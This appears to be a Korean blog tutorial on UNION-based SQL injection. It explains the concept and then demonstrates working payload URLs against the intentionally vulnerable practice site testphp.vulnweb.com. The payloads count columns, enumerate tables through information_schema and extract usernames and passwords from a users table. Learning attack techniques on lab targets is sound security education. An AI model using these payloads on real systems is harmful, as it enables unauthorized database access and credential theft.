반응형
ி 개념
Injection을 수행할 때는 기존 검색결과와 우리가 원하는 쿼리를 Union으로 합쳐서 조회한다.
먼저 SQL 문법인 Union에 대하여 이해할 필요가 있다.
Union
은 두 개 이상 select문의 합친 결과를 출력한다.이때 불러오는 칼럼의 개수는 서로 같아야한다.
아래 union sql 문법을 통해 알아보자.
select * from table1 union select * from table2;
이는 table1과 table2의 조회 결과를 합쳐서 보여주는데
각 테이블의 Column수가 다르면 아래와 같은 문법 에러가 발생한다.
"각각의 UNION query는 같은 수의 columns를 가져야 한다."
따라서 양쪽 테이블의 컬럼 개수를 동일하게 만들어줘야 한다.
그 방법은 다음 쿼리문을 보면 알 수 있다.
select * from table1 union select null,null,null,null from table2;
table1의 컬럼수는 4개이며 양쪽 테이블의 컬럼 수를 맞추기 위해
table2에 null 이라는 빈 컬럼들을 똑같은 개수로 추가하였다.
저 쿼리 결과가 성공적으로 리턴된다면 table1의 컬럼도 4개라는 의미다.
SQL Injection을 수행할 때는 table1의 컬럼 수를 모르니
table2에 null 컬럼을 계속 추가해가면서 table1의 컬럼 수를 맞출 때까지 계속 시도한다.
* null 컬럼은 비어있는 값을 의미한다.
이를 통해 컬럼의 개수를 알아냈다면 union sql injection 할 준비를 끝낸 것이다.
그 후에는 null 컬럼 대신에 서버 버전 정보나 사용자 정보등을 조회하는 구문을 대신 삽입하여
타겟의 주요 정보들을 알아낸다. 자세한건 실습에서 진행한다.
ி 실습
http://demo.testfire.net
http://testphp.vulnweb.com/
저 사이트 외에 실제 운영중인 홈페이지에 시도하여 발생하는
법적책임은 본인에게 있다.
법적책임은 본인에게 있다.
아래는 사원정보체계에 검색창에서 김이름이라는 사람을 검색한 정보를 모두 조회하는 SQL 쿼리문이다.
select * from employ where name = '김이름'
검색창에 [김이름] 대신에
[' or union select * from employ; --]
를 넣는다면 다음과 같이 Union SQL Injection 문법이 완성된다.
select * from employ where name = '김이름' or union select * from employ; --'
- or 구문을 통하여 앞의 조회 결과와 뒤에 조회 결과가 같이 출력된다.
- union은 기본적으로 중복 데이터를 제거해주는 기능이 있는데
union all을 써서 중복 데이터도 모두 출력할 수 있다.
- 맨 마지막에 주석처리를 한 이유는 닫는 따옴표가 없어서 쿼리가 실행되지 않기 때문이다.
- 앞의 조회 결과는 필요없다면 or 대신에 and 1=0을 입력한다.
- union은 기본적으로 중복 데이터를 제거해주는 기능이 있는데
union all을 써서 중복 데이터도 모두 출력할 수 있다.
- 맨 마지막에 주석처리를 한 이유는 닫는 따옴표가 없어서 쿼리가 실행되지 않기 때문이다.
- 앞의 조회 결과는 필요없다면 or 대신에 and 1=0을 입력한다.
Union SQL Injection의 가능 여부를 판별하려면 쿼리를 실행하는 주소를 찾아야한다.
http://testphp.vulnweb.com/listproducts.php?cat=1
위 주소는 cat=1을 인수로 받고 있으며
SQL문을 추측하자면 SELECT * FROM listpd WHERE cat=1 정도가 될 것이다.
주소 뒤에 and 1=0을 추가하여 쿼리가 실행 가능한지 확인한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0
cat=1(참) and 1=0(거짓) -> 거짓 이기 때문에 쿼리가 실행된다면 목록이 조회되지 않을 것이다.
확인 결과 위 실습 사이트는 SQL Injection에 취약한 사이트이며
이를 이용해 검색창에다 Union을 사용한 SQL Injection으로 계정 정보를 탈취한다.
#1
컬럼 개수 확인http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null,null,null,null,null,null,null,null,null,null,null
검색 쿼리문 결과 컬럼은 11개로 조회된다.
#2
DB 이름 조회http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, database(),null,null,null,null,null,null,null,null,null
DB명은 acuart로 조회된다.
#3
현재 DB에 있는 테이블 조회 3-1
DB명을 모를 때 http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, group_concat(table_name), null,null,null,null,null,null,null,null,null from information_schema.tables where table_schema=database();
3-2
DB명을 알고 있을 때http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, group_concat(table_name), null,null,null,null,null,null,null,null,null from information_schema.tables where table_schema="acuart";
3-2의 방법이 필터링될 경우 3-1로 해본다.
acuart DB의 테이블은 artists,carts,categ,featured,guestbook,pictures,products,users로 조회된다.
계정이 존재할 것 같은 계정은 테이블의 이름으로 유추해보았을 때 users이므로 해당 테이블을 목표로 설정한다.
#4
테이블의 컬럼명 조회http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, group_concat(column_name), null,null,null,null,null,null,null,null,null from information_schema.columns where table_name='users';
users의 컬럼명은 다음과 같다.
uname,pass,cc,address,email,name,phone,cart
계정 정보와 관련있어 보이는 uname과 pass 컬럼명을 목표로 설정한다.
#5
계정정보 조회http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, uname, null, null, null, null, null, null, null, null,null from users;
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select null, pass, null, null, null, null, null, null, null, null,null from users;
uname과 pass 컬럼을 따로 조회했을 때 test/test가 출력되었다.
해당 계정으로 로그인한 결과 실제 존재하는 계정임을 확인하였다.
이상 Union SQL Injection 공격 시연을 마친다.
반응형
'해킹-보안' 카테고리의 다른 글
setoolkit을 이용하여 피싱 사이트 만들기 (2) | 2020.07.04 |
---|---|
Blind SQL Injection 공격 시연 (0) | 2020.07.02 |
SNMP 보안 취약점 (0) | 2020.06.19 |
Security Onion 설치하기 (0) | 2020.06.16 |
리눅스 snort 설치 및 악성 트래픽 탐지 룰 학습 (0) | 2020.06.07 |